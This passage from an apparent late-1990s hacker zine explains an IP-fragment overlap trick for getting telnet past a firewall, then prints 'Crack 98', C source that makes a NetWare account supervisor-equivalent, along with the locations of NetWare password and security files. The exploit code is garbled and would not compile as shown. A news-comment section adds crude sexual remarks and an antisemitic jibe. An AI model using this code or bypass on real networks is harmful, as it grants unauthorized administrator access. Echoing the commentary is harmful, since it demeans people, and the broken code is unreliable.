came in as a single packet. According to the IP specification, fragmented packets are to be reassembled at the receiving host. This presumably means that they are not supposed to be reassembled at intermediate sites such as firewalls or routers. This decision was made presumably to prevent repeated reassembly and refragmentation in intermediate networks. When routers and firewalls followed the rules, they found a peculiar problem. The way firewalls and routers block specific services (such as telnet ) while allowing other services (such as the world wide web http service) is by looking into the IP packet to determine which Transfer Control Protocol (TCP) port is being used. If the port corresponds to 80, the datagram is destined for http service, while port 23 is used for telnet . In normal datagrams, this works fine. But suppose we didn't follow the rules for fragmentation and created improper fragmented packets? Here's what one attacker did: * Create an initial packet which claims to be the first fragment of a multi-packet datagram. Specify TCP port 80 in the TCP header so it looks like a datagram going to http service, which is allowed to pass the firewall. * The firewall passes the packet to the host under attack and passes subsequent packet fragments in order to allow the destination host to reassemble the packet. * One of the subsequent packets has an offset of 0 which causes the reassembler to overwrite the initial part of the IP packet. This is the part of the IP packet that specifies the TCP port. The attacker overwrites the IP port number which was originally 80 with a new port number such as 23, and is now granted telnet access to the host under attack despite the firewall that is supposed to block the service. --------------------------------------------------------------------------- Novell Netware Administration Exploit<----------[Mnemonic] #include #include #include #include #include #include #include #include #include #include main(int argc, char *argv[]) { long task; char *account printf("Crack 98 written by Mnemonic\n"); task = SetCurrentTask(-1L); SetCurrentConnection(0); account = argv[1]; while (argc > 1) { if (CreateBinderyObject(name, OT_USER, BF_STATIC, 0x31) == 0) printf("The account %s has been created\n", account); else printf("The account %s already exists on the network\n", account); CreateProperty(account, OUT_USER, "SECURITY_EQUALS", BF_STATIC | BF_SET, 0x32); if (AddBinderyObjectToSet(account, OT_USER, "SECURITY_EQUALS", "SUPERVISOR", OT_USER) == 0) printf("The account %s has been made supervisor equivalent\n", account); else printf("The account is already supervisor equivalent\n"); } printf("You must enter an account name\n"); account = argv[1]; } ReturnBlockOfTasks(&task, 1L); ReturnConnection(GetCurrentConnection()); return 0; } Crack '98 sets the connection to 0 for supervisor, and then creates a user object in the bindery which must have an equivalent property. Then it adds supervisor equivalent to the supervisor equivalence property so it can make an account equivalent to that of supervisor. It supports Novell NetWare 2.x, 3.x, 4.x, and Novell IntraNet Ware 4.x. This is what the account's login script should look like after you've run the program. WRITE "Good%GREETING_TIME, %LOGIN_NAME." MAP DISPLAY OFF MAP ERRORS OFF Remark: Set 1st drive to most appropriate directory MAP *1:=SYS:; *1=%LOGIIF "%1"="SUPERVISOR" MAP *1:=SYS:SYSTEM Remark: Set search drives (S2 machine-OS dependent). MAPT S1:=SYS:PUBLIC; S2:=S1:%MACHINE/%OS/%OS_VERSION Remark: Now display all the current drive settings. MAP DISPLAY ON MAP Here, the SUPERVISOR default logins are the directory names SYS:SYSTEM and/or SYS:PUBLIC as the filename NET$LOG.DAT. NetWare assigns each user or group a unique number when it is defined. The SUPERVISOR user number is always 1. All other users and groups are assigned hexadecimal numbers. Since all mail directories are created in the directory SYS:MAIL, the LAN SUPERVISOR's mail directory is SYS:MAIL\1. The user login script itself, however, is stored in a file named LOGIN with no extension. For example, IL\1\LOGIN. The user login script is used to define user-specific resources and environment settings. If a user login script file exists it will be executed. If it does not exist, then the LOGIN program invokes a default user login script. This can be a source of trouble, as the default user login script might interfere with drive mappings in the system login script. There are two utilities provided with NetWare to create new user accounts. These are SYSCON and MAKEUSER. Both are displayed as options on the NetWare Login main screen, and can be used to create a new account, and its corresponding login script. When a user logs into the NetWare, the LOGIN program verifies if the entered password specifies the id that corresponds with it, and then retrieves the user rights information from the file server. If one exists, the system login script is then executed. This script, is then stored in the user acount's mail directory. In NetWare 2.x, the password file is NET$BVAL.SYS, and is kept in the SYS:PASSWD directory along with the security file NET$BIND.SYS. In 3.x, the password file is NET$VAL.SYS and is also kept in the SYS:PASSWD directory along with the security files NET$OBJ.SYS and NET$PROP.SYS. In 4.x you have PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS, and UNINSTAL.NDS. The system login script is created with the SYSCON utility be the LAN supervisor and is stored in a file named NET$LOG.DAT in the SYS:PUBLIC directory. Here is an example of how permissions are assigned. USER1 is a member of the groups EVERYONE and ACCOUNTING. All users are members of EVERYONE. Group EVERYONE has Read, Open, and Search rights in SYS:APPS. Group ACCOUNTING has Write, Create, and Delete rights in SYS:APPS\DATA USER1 has Parental and Modify rights in SYS:APPS\DATA\USER1 USER1's trustee priveleges are accounted for as Directory Group Rights SYS:APPS EVERYONE [R O S ] SYS:APPS\DATA ACCOUNTING [ W CD ] Trustee priveleges [RWOCD S ] The one access type that gains everything is called Supervisory. Its environmetal settings are RWOCDPSM. -Mnemonic --------------------------------------------------------------------------- [sources]---------In the News Comments from "that elite guy" <> New Encryption Policy Gets Complaints- To mixed reviews, the U.S government eased up on the encryption export controls. Long under pressure from software companies, the Commerce Deparment says it will now let them export software with the stronger 56-bit Data Encryption Standard (DES) to 45 foreign nations. Serveral industry spokespersons paised the decision, but not Phil Zimmermann of Pretty Good Privacy (PGP). He insists U.S. firms need 128-bit cryptography to remain competitive in the world market. And the Electronic Frontier foundation, which recently cracked 56-bit encryption in three days says the new policy does little for individual privacy (Wired) Note: Legions can still use your CPU power to help crack the rc5-64bit algorithm all you have to do is download a "MOO!" client at http://www.distributed.net/clients.html set your the email query to webmaster@legions.org or assign to the Legions Team ID# 5797 and start milking! the more systems you have the client running on the better the chances. If you end up cracking the encryption scheme you will win $1000, and a kiss from chixy at hackersclub.com Send your feed back on this article to: webmaster@legions.org <> Linux Hits the Big Time by Charles Babcock <--- hehe Linux has been quietly gathering support as a free operating system. But last week, it may have gone prime-time. AT ISPcon '98, Intel Corp. Said it will work with Linux developers to ensure that the software to drive computer accessories is readily available. That will give Linux similar "plug, and play" features to Microsoft Corp.'s Windows. To Underscore its commitment to Linux, Intel took an equity position in a commercial distributor of the operating system, Red Hat software Inc. Other investors: Netscape Communications Corp, and two venture capital firms. Bussiness users may doubt that a piece of freeware will be around five years from now, said Red Hat president Robert Young, "but they know Intel will be." Our Comments: hehe this means you LAMERS who never could figure out what a boot disk was or just was never ABLE to fully comprehend enough to install linux will SOON just have to sit, and click "ok" a hundred times before it installs. What is the world comming to? Linux is a MANS machine its to feverish for the lights of windows guppies. <> Chronic Problems persist. The U.S General Accounting Office (GAO) has issued more than 60 reports detailing computer security problems in federal operations over the past two years. Yet, a review of those reports by the GAO shows that almost nothing has changed as a result of its warning. Some of the ongoing problems are: * Poor password controls * Insuufficient serpartion of duties to precent fraud and abuse * Widespread ignorance of computer security basics among works. * Dail-in connections open to anyone who knows the corresponding number. * Failure to include computer security as part of performance appraisals. notes from "that elite guy": hOhOhO uNeL1t3 goverment users st1lL uSiNg pasSWd'S Lik "gaWD","seKreT" and "seKs". JeW GuyZ are juZ asking to be 0wn3d by HFG, n D3m e1it3 ch40s FewLs. thiZ pe3pLE R ELiTe BeCauz thEy h4b n0 TiMe On TheIR HanDs(only lotion) s0 TheY s1t ArouNd TypInG liK EyE M RyTe N0w, N BrutE ph0rCing PassWd'S IsNt it c0o. (i was'nt kidding about the "lotion" either if you ask one of them for the time you can see molded cum stains [BEWARE OF THEIR METHOD]-As Seen on TV!